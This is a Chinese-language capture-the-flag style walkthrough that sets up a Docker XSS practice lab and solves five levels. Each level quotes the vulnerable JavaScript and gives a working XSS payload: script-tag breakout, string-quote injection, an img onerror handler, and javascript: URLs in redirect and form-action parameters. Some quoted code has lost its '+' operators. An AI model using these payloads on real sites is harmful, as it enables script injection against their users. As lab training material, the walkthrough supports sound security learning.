靶场搭建
需要在Linux系统上安装docker,参考前一篇文章kali Linux上安装docker。
第一步,进入root模式
代码语言:javascript复制sudo -i
新建一个文件夹
代码语言:javascript复制mkdir xss
新建docker-compose.yml文件
代码语言:javascript复制touch docker-compose.yml
使用vim编辑该文件
代码语言:javascript复制vim docker-compose.yml
将以下内容写入
代码语言:javascript复制version: "3.2"
services:
xss:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-xss:latest
ports:
- 3000:3000
然后构建环境,浏览器访问localhost:3000即可
代码语言:javascript复制docker-compose up -d
test1
第一关没有任何过滤,完全是送的。闭合span标签,然后插入script即可
payload
代码语言:javascript复制?username=</span><script>alert(/xss/)</script><span>
test2
尝试常规的攻击方式,发现特殊字符被编码了。看看JavaScript源代码。这里用escape对username进行编码再输出到DOM节点中。
代码语言:javascript复制if(location.search == ""){
location.search = "?username=xss"
}
var username = 'xss';
document.getElementById('ccc').innerHTML= "Welcome " escape(username);
但是仔细看看上面一句var username = 'xss'
,这里可能是突破口。我们可以提前闭合单引号,然后插入一条语句。
payload
代码语言:javascript复制?username=xss';alert(/xss/);//
test3
先试下username=<>
,发现没有过滤这两个危险字符。直接上<script>alert(/xss/)</script>
,发现过滤掉了script。
因此,我们利用DOM时间来发起攻击
payload
代码语言:javascript复制?username=<img src="a" onerror="alert(/xs/)">
test4
直接看JavaScript源代码。分析一下,getQueryVariable()
函数用于获取URL中通过get方式传入的参数。当没有传参时,jumpUr
l为当前网址,否则为传入的jumpUrl
参数,然后这个jumpUrl
会经过编码然后输出到DOM树当中。所以我们用get方式传入我们构造jumpUrl
参数,能够触发XSS。
var time = 10;
var jumpUrl;
if(getQueryVariable('jumpUrl') == false){
jumpUrl = location.href;
}else{
jumpUrl = getQueryVariable('jumpUrl');
}
setTimeout(jump,1000,time);
function jump(time){
if(time == 0){
location.href = jumpUrl;
}else{
time = time - 1 ;
document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
setTimeout(jump,1000,time);
}
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i ) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
嵌入<script>alert(/xss/)</script>
,发现<和>被编码了。再看看JavaScript源代码,location.href=jumpUrl
,在这一步jumpUrl是没有被编码的,所以我们可以利用JavaScript伪协议触发弹窗。
payload
代码语言:javascript复制?jumpUrl=javascript:alert(/xss/)
test5
直接看JavaScript源代码。两个关键参数,autosubmit
和action
,下面这段代码首先判断是否传入了autosubmit
参数,传入了则获取id为autoForm
的表单,然后判断是否传入了action
参数,如果传入了则将该表单的action
设置为传入的action
参数,否则设置为当前页面url。所以我们构造参数,将表单的action
设置为javascript:alert(/xss/)
即可。
if(getQueryVariable('autosubmit') !== false){
var autoForm = document.getElementById('autoForm');
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
autoForm.submit();
}else{
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i ) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
payload
代码语言:javascript复制?autosubmit=1&action=javascript:alert(/xss/)